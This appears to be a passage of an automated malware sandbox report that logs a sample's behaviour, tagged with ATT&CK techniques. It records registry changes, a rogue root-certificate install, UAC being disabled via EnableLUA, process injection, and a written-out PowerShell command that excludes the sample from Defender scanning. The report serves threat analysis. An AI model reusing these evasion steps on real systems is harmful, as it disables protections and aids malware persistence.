Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-672 = "AUS Eastern Standard Time"	fBcYOMmPwswRhm3OcPy37RCz.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-282 = "Central Europe Standard Time"	3gZPqlcuNueSwppuk49mmWVI.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-112 = "Eastern Standard Time"	3gZPqlcuNueSwppuk49mmWVI.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-491 = "India Daylight Time"	3gZPqlcuNueSwppuk49mmWVI.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-192 = "Mountain Standard Time"	3gZPqlcuNueSwppuk49mmWVI.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-872 = "Pakistan Standard Time"	3gZPqlcuNueSwppuk49mmWVI.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-532 = "Sri Lanka Standard Time"	3gZPqlcuNueSwppuk49mmWVI.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-351 = "FLE Daylight Time"	3gZPqlcuNueSwppuk49mmWVI.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-551 = "North Asia Daylight Time"	3gZPqlcuNueSwppuk49mmWVI.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-121 = "SA Pacific Daylight Time"	3gZPqlcuNueSwppuk49mmWVI.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-751 = "Tonga Daylight Time"	3gZPqlcuNueSwppuk49mmWVI.exe
Key created	\REGISTRY\USER\.DEFAULT\SYSTEM\CurrentControlSet\Control\NetTrace	netsh.exe
Key created	\REGISTRY\USER\.DEFAULT\SYSTEM\CurrentControlSet\Control\NetTrace\Session	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-105 = "Central Brazilian Standard Time"	3gZPqlcuNueSwppuk49mmWVI.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-252 = "Dateline Standard Time"	3gZPqlcuNueSwppuk49mmWVI.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-472 = "Ekaterinburg Standard Time"	3gZPqlcuNueSwppuk49mmWVI.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-892 = "Morocco Standard Time"	3gZPqlcuNueSwppuk49mmWVI.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-334 = "Jordan Daylight Time"	3gZPqlcuNueSwppuk49mmWVI.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-241 = "Samoa Daylight Time"	3gZPqlcuNueSwppuk49mmWVI.exe
Key created	\REGISTRY\USER\.DEFAULT\SYSTEM\CurrentControlSet\Control\NetTrace	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-222 = "Alaskan Standard Time"	fBcYOMmPwswRhm3OcPy37RCz.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-332 = "E. Europe Standard Time"	3gZPqlcuNueSwppuk49mmWVI.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-742 = "New Zealand Standard Time"	3gZPqlcuNueSwppuk49mmWVI.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-452 = "Caucasus Standard Time"	3gZPqlcuNueSwppuk49mmWVI.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-412 = "E. Africa Standard Time"	3gZPqlcuNueSwppuk49mmWVI.exe

Modifies system certificate store 2 TTPs 7 IoCs

evasion spyware trojan

Install Root Certificate

T1553.004

Modify Registry

T1112

description	ioc	Process
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4\Blob = 0f00000001000000200000004b4eb4b074298b828b5c003095a10b4523fb951c0c88348b09c53e5baba408a3030000000100000014000000df3c24f9bfd666761b268073fe06d1cc8d4f82a42000000001000000920300003082038e30820276a0030201020210033af1e6a711a9a0bb2864b11d09fae5300d06092a864886f70d01010b05003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204732301e170d3133303830313132303030305a170d3338303131353132303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420473230820122300d06092a864886f70d01010105000382010f003082010a0282010100bb37cd34dc7b6bc9b26890ad4a75ff46ba210a088df51954c9fb88dbf3aef23a89913c7ae6ab061a6bcfac2de85e092444ba629a7ed6a3a87ee054752005ac50b79c631a6c30dcda1f19b1d71edefdd7e0cb948337aeec1f434edd7b2cd2bd2ea52fe4a9b8ad3ad499a4b625e99b6b00609260ff4f214918f76790ab61069c8ff2bae9b4e992326bb5f357e85d1bcd8c1dab95049549f3352d96e3496ddd77e3fb494bb4ac5507a98f95b3b423bb4c6d45f0f6a9b29530b4fd4c558c274a57147c829dcd7392d3164a060c8c50d18f1e09be17a1e621cafd83e510bc83a50ac46728f67314143d4676c387148921344daf0f450ca649a1babb9cc5b1338329850203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020186301d0603551d0e041604144e2254201895e6e36ee60ffafab912ed06178f39300d06092a864886f70d01010b05000382010100606728946f0e4863eb31ddea6718d5897d3cc58b4a7fe9bedb2b17dfb05f73772a3213398167428423f2456735ec88bff88fb0610c34a4ae204c84c6dbf835e176d9dfa642bbc74408867f3674245ada6c0d145935bdf249ddb61fc9b30d472a3d992fbb5cbbb5d420e1995f534615db689bf0f330d53e31e28d849ee38adada963e3513a55ff0f970507047411157194ec08fae06c49513172f1b259f75f2b18e99a16f13b14171fe882ac84f102055d7f31445e5e044f4ea879532930efe5346fa2c9dff8b22b94bd90945a4dea4b89a58dd1b7d529f8e59438881a49e26d56faddd0dc6377ded03921be5775f76ee3c8dc45d565ba2d9666eb33537e532b6	patch.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4\Blob = 1400000001000000140000004e2254201895e6e36ee60ffafab912ed06178f39030000000100000014000000df3c24f9bfd666761b268073fe06d1cc8d4f82a40f00000001000000200000004b4eb4b074298b828b5c003095a10b4523fb951c0c88348b09c53e5baba408a32000000001000000920300003082038e30820276a0030201020210033af1e6a711a9a0bb2864b11d09fae5300d06092a864886f70d01010b05003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204732301e170d3133303830313132303030305a170d3338303131353132303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420473230820122300d06092a864886f70d01010105000382010f003082010a0282010100bb37cd34dc7b6bc9b26890ad4a75ff46ba210a088df51954c9fb88dbf3aef23a89913c7ae6ab061a6bcfac2de85e092444ba629a7ed6a3a87ee054752005ac50b79c631a6c30dcda1f19b1d71edefdd7e0cb948337aeec1f434edd7b2cd2bd2ea52fe4a9b8ad3ad499a4b625e99b6b00609260ff4f214918f76790ab61069c8ff2bae9b4e992326bb5f357e85d1bcd8c1dab95049549f3352d96e3496ddd77e3fb494bb4ac5507a98f95b3b423bb4c6d45f0f6a9b29530b4fd4c558c274a57147c829dcd7392d3164a060c8c50d18f1e09be17a1e621cafd83e510bc83a50ac46728f67314143d4676c387148921344daf0f450ca649a1babb9cc5b1338329850203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020186301d0603551d0e041604144e2254201895e6e36ee60ffafab912ed06178f39300d06092a864886f70d01010b05000382010100606728946f0e4863eb31ddea6718d5897d3cc58b4a7fe9bedb2b17dfb05f73772a3213398167428423f2456735ec88bff88fb0610c34a4ae204c84c6dbf835e176d9dfa642bbc74408867f3674245ada6c0d145935bdf249ddb61fc9b30d472a3d992fbb5cbbb5d420e1995f534615db689bf0f330d53e31e28d849ee38adada963e3513a55ff0f970507047411157194ec08fae06c49513172f1b259f75f2b18e99a16f13b14171fe882ac84f102055d7f31445e5e044f4ea879532930efe5346fa2c9dff8b22b94bd90945a4dea4b89a58dd1b7d529f8e59438881a49e26d56faddd0dc6377ded03921be5775f76ee3c8dc45d565ba2d9666eb33537e532b6	patch.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4\Blob = 040000000100000010000000e4a68ac854ac5242460afd72481b2a440f00000001000000200000004b4eb4b074298b828b5c003095a10b4523fb951c0c88348b09c53e5baba408a3030000000100000014000000df3c24f9bfd666761b268073fe06d1cc8d4f82a41400000001000000140000004e2254201895e6e36ee60ffafab912ed06178f392000000001000000920300003082038e30820276a0030201020210033af1e6a711a9a0bb2864b11d09fae5300d06092a864886f70d01010b05003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204732301e170d3133303830313132303030305a170d3338303131353132303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420473230820122300d06092a864886f70d01010105000382010f003082010a0282010100bb37cd34dc7b6bc9b26890ad4a75ff46ba210a088df51954c9fb88dbf3aef23a89913c7ae6ab061a6bcfac2de85e092444ba629a7ed6a3a87ee054752005ac50b79c631a6c30dcda1f19b1d71edefdd7e0cb948337aeec1f434edd7b2cd2bd2ea52fe4a9b8ad3ad499a4b625e99b6b00609260ff4f214918f76790ab61069c8ff2bae9b4e992326bb5f357e85d1bcd8c1dab95049549f3352d96e3496ddd77e3fb494bb4ac5507a98f95b3b423bb4c6d45f0f6a9b29530b4fd4c558c274a57147c829dcd7392d3164a060c8c50d18f1e09be17a1e621cafd83e510bc83a50ac46728f67314143d4676c387148921344daf0f450ca649a1babb9cc5b1338329850203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020186301d0603551d0e041604144e2254201895e6e36ee60ffafab912ed06178f39300d06092a864886f70d01010b05000382010100606728946f0e4863eb31ddea6718d5897d3cc58b4a7fe9bedb2b17dfb05f73772a3213398167428423f2456735ec88bff88fb0610c34a4ae204c84c6dbf835e176d9dfa642bbc74408867f3674245ada6c0d145935bdf249ddb61fc9b30d472a3d992fbb5cbbb5d420e1995f534615db689bf0f330d53e31e28d849ee38adada963e3513a55ff0f970507047411157194ec08fae06c49513172f1b259f75f2b18e99a16f13b14171fe882ac84f102055d7f31445e5e044f4ea879532930efe5346fa2c9dff8b22b94bd90945a4dea4b89a58dd1b7d529f8e59438881a49e26d56faddd0dc6377ded03921be5775f76ee3c8dc45d565ba2d9666eb33537e532b6	patch.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4\Blob = 19000000010000001000000014c3bd3549ee225aece13734ad8ca0b81400000001000000140000004e2254201895e6e36ee60ffafab912ed06178f39030000000100000014000000df3c24f9bfd666761b268073fe06d1cc8d4f82a40f00000001000000200000004b4eb4b074298b828b5c003095a10b4523fb951c0c88348b09c53e5baba408a3040000000100000010000000e4a68ac854ac5242460afd72481b2a442000000001000000920300003082038e30820276a0030201020210033af1e6a711a9a0bb2864b11d09fae5300d06092a864886f70d01010b05003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204732301e170d3133303830313132303030305a170d3338303131353132303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420473230820122300d06092a864886f70d01010105000382010f003082010a0282010100bb37cd34dc7b6bc9b26890ad4a75ff46ba210a088df51954c9fb88dbf3aef23a89913c7ae6ab061a6bcfac2de85e092444ba629a7ed6a3a87ee054752005ac50b79c631a6c30dcda1f19b1d71edefdd7e0cb948337aeec1f434edd7b2cd2bd2ea52fe4a9b8ad3ad499a4b625e99b6b00609260ff4f214918f76790ab61069c8ff2bae9b4e992326bb5f357e85d1bcd8c1dab95049549f3352d96e3496ddd77e3fb494bb4ac5507a98f95b3b423bb4c6d45f0f6a9b29530b4fd4c558c274a57147c829dcd7392d3164a060c8c50d18f1e09be17a1e621cafd83e510bc83a50ac46728f67314143d4676c387148921344daf0f450ca649a1babb9cc5b1338329850203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020186301d0603551d0e041604144e2254201895e6e36ee60ffafab912ed06178f39300d06092a864886f70d01010b05000382010100606728946f0e4863eb31ddea6718d5897d3cc58b4a7fe9bedb2b17dfb05f73772a3213398167428423f2456735ec88bff88fb0610c34a4ae204c84c6dbf835e176d9dfa642bbc74408867f3674245ada6c0d145935bdf249ddb61fc9b30d472a3d992fbb5cbbb5d420e1995f534615db689bf0f330d53e31e28d849ee38adada963e3513a55ff0f970507047411157194ec08fae06c49513172f1b259f75f2b18e99a16f13b14171fe882ac84f102055d7f31445e5e044f4ea879532930efe5346fa2c9dff8b22b94bd90945a4dea4b89a58dd1b7d529f8e59438881a49e26d56faddd0dc6377ded03921be5775f76ee3c8dc45d565ba2d9666eb33537e532b6	patch.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4	csrss.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4\Blob = 030000000100000014000000df3c24f9bfd666761b268073fe06d1cc8d4f82a42000000001000000920300003082038e30820276a0030201020210033af1e6a711a9a0bb2864b11d09fae5300d06092a864886f70d01010b05003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204732301e170d3133303830313132303030305a170d3338303131353132303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420473230820122300d06092a864886f70d01010105000382010f003082010a0282010100bb37cd34dc7b6bc9b26890ad4a75ff46ba210a088df51954c9fb88dbf3aef23a89913c7ae6ab061a6bcfac2de85e092444ba629a7ed6a3a87ee054752005ac50b79c631a6c30dcda1f19b1d71edefdd7e0cb948337aeec1f434edd7b2cd2bd2ea52fe4a9b8ad3ad499a4b625e99b6b00609260ff4f214918f76790ab61069c8ff2bae9b4e992326bb5f357e85d1bcd8c1dab95049549f3352d96e3496ddd77e3fb494bb4ac5507a98f95b3b423bb4c6d45f0f6a9b29530b4fd4c558c274a57147c829dcd7392d3164a060c8c50d18f1e09be17a1e621cafd83e510bc83a50ac46728f67314143d4676c387148921344daf0f450ca649a1babb9cc5b1338329850203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020186301d0603551d0e041604144e2254201895e6e36ee60ffafab912ed06178f39300d06092a864886f70d01010b05000382010100606728946f0e4863eb31ddea6718d5897d3cc58b4a7fe9bedb2b17dfb05f73772a3213398167428423f2456735ec88bff88fb0610c34a4ae204c84c6dbf835e176d9dfa642bbc74408867f3674245ada6c0d145935bdf249ddb61fc9b30d472a3d992fbb5cbbb5d420e1995f534615db689bf0f330d53e31e28d849ee38adada963e3513a55ff0f970507047411157194ec08fae06c49513172f1b259f75f2b18e99a16f13b14171fe882ac84f102055d7f31445e5e044f4ea879532930efe5346fa2c9dff8b22b94bd90945a4dea4b89a58dd1b7d529f8e59438881a49e26d56faddd0dc6377ded03921be5775f76ee3c8dc45d565ba2d9666eb33537e532b6	csrss.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4	patch.exe

Suspicious behavior: EnumeratesProcesses 51 IoCs

pid	Process
2984	powershell.exe
1596	fBcYOMmPwswRhm3OcPy37RCz.exe
1868	kmG2oVJ8MVKQlZdC07H81o1H.exe
2364	pzGm20MLkygiSIxEhKXhO6vT.exe
800	3gZPqlcuNueSwppuk49mmWVI.exe
1736	3gZPqlcuNueSwppuk49mmWVI.exe
1736	3gZPqlcuNueSwppuk49mmWVI.exe
1736	3gZPqlcuNueSwppuk49mmWVI.exe
1736	3gZPqlcuNueSwppuk49mmWVI.exe
1736	3gZPqlcuNueSwppuk49mmWVI.exe
1880	fBcYOMmPwswRhm3OcPy37RCz.exe
1880	fBcYOMmPwswRhm3OcPy37RCz.exe
1880	fBcYOMmPwswRhm3OcPy37RCz.exe
1880	fBcYOMmPwswRhm3OcPy37RCz.exe
1880	fBcYOMmPwswRhm3OcPy37RCz.exe
812	kmG2oVJ8MVKQlZdC07H81o1H.exe
812	kmG2oVJ8MVKQlZdC07H81o1H.exe
812	kmG2oVJ8MVKQlZdC07H81o1H.exe
812	kmG2oVJ8MVKQlZdC07H81o1H.exe
812	kmG2oVJ8MVKQlZdC07H81o1H.exe
1572	pzGm20MLkygiSIxEhKXhO6vT.exe
1572	pzGm20MLkygiSIxEhKXhO6vT.exe
1572	pzGm20MLkygiSIxEhKXhO6vT.exe
1572	pzGm20MLkygiSIxEhKXhO6vT.exe
1572	pzGm20MLkygiSIxEhKXhO6vT.exe
2628	u1vk.0.exe
1976	injector.exe
1976	injector.exe
1976	injector.exe
1976	injector.exe
1976	injector.exe
1976	injector.exe
1976	injector.exe
1976	injector.exe
1940	SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe
1940	SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe
1940	SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe
1940	SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe
1940	SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe
1940	SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe
1940	SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe
2636	powershell.exe
1976	injector.exe
2636	powershell.exe
2636	powershell.exe
1940	SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe
1940	SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe
1976	injector.exe
2628	u1vk.0.exe
1976	injector.exe
1976	injector.exe

Suspicious use of AdjustPrivilegeToken 14 IoCs

description	pid	Process
Token: SeDebugPrivilege	2192	15e4e2d3998c5c604f37df003c4d15726eecf9bbee2a63ab33ac6a0cc0289126.exe
Token: SeDebugPrivilege	2984	powershell.exe
Token: SeDebugPrivilege	2596	AddInProcess32.exe
Token: SeDebugPrivilege	1596	fBcYOMmPwswRhm3OcPy37RCz.exe
Token: SeImpersonatePrivilege	1596	fBcYOMmPwswRhm3OcPy37RCz.exe
Token: SeDebugPrivilege	1868	kmG2oVJ8MVKQlZdC07H81o1H.exe
Token: SeImpersonatePrivilege	1868	kmG2oVJ8MVKQlZdC07H81o1H.exe
Token: SeDebugPrivilege	2364	pzGm20MLkygiSIxEhKXhO6vT.exe
Token: SeImpersonatePrivilege	2364	pzGm20MLkygiSIxEhKXhO6vT.exe
Token: SeDebugPrivilege	800	3gZPqlcuNueSwppuk49mmWVI.exe
Token: SeImpersonatePrivilege	800	3gZPqlcuNueSwppuk49mmWVI.exe
Token: SeSystemEnvironmentPrivilege	1296	csrss.exe
Token: SeDebugPrivilege	1940	SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe
Token: SeDebugPrivilege	2636	powershell.exe

Suspicious use of FindShellTrayWindow 7 IoCs

pid	Process
2312	u1vk.1.exe
2312	u1vk.1.exe
2312	u1vk.1.exe
2312	u1vk.1.exe
2312	u1vk.1.exe
2312	u1vk.1.exe
2312	u1vk.1.exe

Suspicious use of SendNotifyMessage 7 IoCs

pid	Process
2312	u1vk.1.exe
2312	u1vk.1.exe
2312	u1vk.1.exe
2312	u1vk.1.exe
2312	u1vk.1.exe
2312	u1vk.1.exe
2312	u1vk.1.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2192 wrote to memory of 2984	2192	15e4e2d3998c5c604f37df003c4d15726eecf9bbee2a63ab33ac6a0cc0289126.exe	30
PID 2192 wrote to memory of 2984	2192	15e4e2d3998c5c604f37df003c4d15726eecf9bbee2a63ab33ac6a0cc0289126.exe	30
PID 2192 wrote to memory of 2984	2192	15e4e2d3998c5c604f37df003c4d15726eecf9bbee2a63ab33ac6a0cc0289126.exe	30
PID 2192 wrote to memory of 2596	2192	15e4e2d3998c5c604f37df003c4d15726eecf9bbee2a63ab33ac6a0cc0289126.exe	32
PID 2192 wrote to memory of 2596	2192	15e4e2d3998c5c604f37df003c4d15726eecf9bbee2a63ab33ac6a0cc0289126.exe	32
PID 2192 wrote to memory of 2596	2192	15e4e2d3998c5c604f37df003c4d15726eecf9bbee2a63ab33ac6a0cc0289126.exe	32
PID 2192 wrote to memory of 2596	2192	15e4e2d3998c5c604f37df003c4d15726eecf9bbee2a63ab33ac6a0cc0289126.exe	32
PID 2192 wrote to memory of 2596	2192	15e4e2d3998c5c604f37df003c4d15726eecf9bbee2a63ab33ac6a0cc0289126.exe	32
PID 2192 wrote to memory of 2596	2192	15e4e2d3998c5c604f37df003c4d15726eecf9bbee2a63ab33ac6a0cc0289126.exe	32
PID 2192 wrote to memory of 2596	2192	15e4e2d3998c5c604f37df003c4d15726eecf9bbee2a63ab33ac6a0cc0289126.exe	32
PID 2192 wrote to memory of 2596	2192	15e4e2d3998c5c604f37df003c4d15726eecf9bbee2a63ab33ac6a0cc0289126.exe	32
PID 2192 wrote to memory of 2596	2192	15e4e2d3998c5c604f37df003c4d15726eecf9bbee2a63ab33ac6a0cc0289126.exe	32
PID 2192 wrote to memory of 2548	2192	15e4e2d3998c5c604f37df003c4d15726eecf9bbee2a63ab33ac6a0cc0289126.exe	33
PID 2192 wrote to memory of 2548	2192	15e4e2d3998c5c604f37df003c4d15726eecf9bbee2a63ab33ac6a0cc0289126.exe	33
PID 2192 wrote to memory of 2548	2192	15e4e2d3998c5c604f37df003c4d15726eecf9bbee2a63ab33ac6a0cc0289126.exe	33
PID 2596 wrote to memory of 2432	2596	AddInProcess32.exe	34
PID 2596 wrote to memory of 2432	2596	AddInProcess32.exe	34
PID 2596 wrote to memory of 2432	2596	AddInProcess32.exe	34
PID 2596 wrote to memory of 2432	2596	AddInProcess32.exe	34
PID 2596 wrote to memory of 1868	2596	AddInProcess32.exe	364
PID 2596 wrote to memory of 1868	2596	AddInProcess32.exe	364
PID 2596 wrote to memory of 1868	2596	AddInProcess32.exe	364
PID 2596 wrote to memory of 1868	2596	AddInProcess32.exe	364
PID 2596 wrote to memory of 800	2596	AddInProcess32.exe	184
PID 2596 wrote to memory of 800	2596	AddInProcess32.exe	184
PID 2596 wrote to memory of 800	2596	AddInProcess32.exe	184
PID 2596 wrote to memory of 800	2596	AddInProcess32.exe	184
PID 2596 wrote to memory of 2364	2596	AddInProcess32.exe	232
PID 2596 wrote to memory of 2364	2596	AddInProcess32.exe	232
PID 2596 wrote to memory of 2364	2596	AddInProcess32.exe	232
PID 2596 wrote to memory of 2364	2596	AddInProcess32.exe	232
PID 2596 wrote to memory of 1596	2596	AddInProcess32.exe	361
PID 2596 wrote to memory of 1596	2596	AddInProcess32.exe	361
PID 2596 wrote to memory of 1596	2596	AddInProcess32.exe	361
PID 2596 wrote to memory of 1596	2596	AddInProcess32.exe	361
PID 2432 wrote to memory of 2628	2432	pJRgrx8FZmjExOQ2wYGCn7Nk.exe	259
PID 2432 wrote to memory of 2628	2432	pJRgrx8FZmjExOQ2wYGCn7Nk.exe	259
PID 2432 wrote to memory of 2628	2432	pJRgrx8FZmjExOQ2wYGCn7Nk.exe	259
PID 2432 wrote to memory of 2628	2432	pJRgrx8FZmjExOQ2wYGCn7Nk.exe	259
PID 2596 wrote to memory of 2840	2596	AddInProcess32.exe	48
PID 2596 wrote to memory of 2840	2596	AddInProcess32.exe	48
PID 2596 wrote to memory of 2840	2596	AddInProcess32.exe	48
PID 2596 wrote to memory of 2840	2596	AddInProcess32.exe	48
PID 1736 wrote to memory of 536	1736	3gZPqlcuNueSwppuk49mmWVI.exe	337
PID 1736 wrote to memory of 536	1736	3gZPqlcuNueSwppuk49mmWVI.exe	337
PID 1736 wrote to memory of 536	1736	3gZPqlcuNueSwppuk49mmWVI.exe	337
PID 1736 wrote to memory of 536	1736	3gZPqlcuNueSwppuk49mmWVI.exe	337
PID 536 wrote to memory of 2880	536	cmd.exe	51
PID 536 wrote to memory of 2880	536	cmd.exe	51
PID 536 wrote to memory of 2880	536	cmd.exe	51
PID 1880 wrote to memory of 760	1880	fBcYOMmPwswRhm3OcPy37RCz.exe	246
PID 1880 wrote to memory of 760	1880	fBcYOMmPwswRhm3OcPy37RCz.exe	246
PID 1880 wrote to memory of 760	1880	fBcYOMmPwswRhm3OcPy37RCz.exe	246
PID 1880 wrote to memory of 760	1880	fBcYOMmPwswRhm3OcPy37RCz.exe	246
PID 812 wrote to memory of 2728	812	kmG2oVJ8MVKQlZdC07H81o1H.exe	54
PID 812 wrote to memory of 2728	812	kmG2oVJ8MVKQlZdC07H81o1H.exe	54
PID 812 wrote to memory of 2728	812	kmG2oVJ8MVKQlZdC07H81o1H.exe	54
PID 812 wrote to memory of 2728	812	kmG2oVJ8MVKQlZdC07H81o1H.exe	54
PID 760 wrote to memory of 528	760	cmd.exe	55
PID 760 wrote to memory of 528	760	cmd.exe	55
PID 760 wrote to memory of 528	760	cmd.exe	55
PID 2728 wrote to memory of 1696	2728	cmd.exe	57
PID 2728 wrote to memory of 1696	2728	cmd.exe	57
PID 2728 wrote to memory of 1696	2728	cmd.exe	57

System policy modification 1 TTPs 1 IoCs

evasion

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	15e4e2d3998c5c604f37df003c4d15726eecf9bbee2a63ab33ac6a0cc0289126.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\15e4e2d3998c5c604f37df003c4d15726eecf9bbee2a63ab33ac6a0cc0289126.exe
"C:\Users\Admin\AppData\Local\Temp\15e4e2d3998c5c604f37df003c4d15726eecf9bbee2a63ab33ac6a0cc0289126.exe"
1⤵
- UAC bypass
- Checks whether UAC is enabled
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:2192
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\15e4e2d3998c5c604f37df003c4d15726eecf9bbee2a63ab33ac6a0cc0289126.exe" -Force
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2984
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
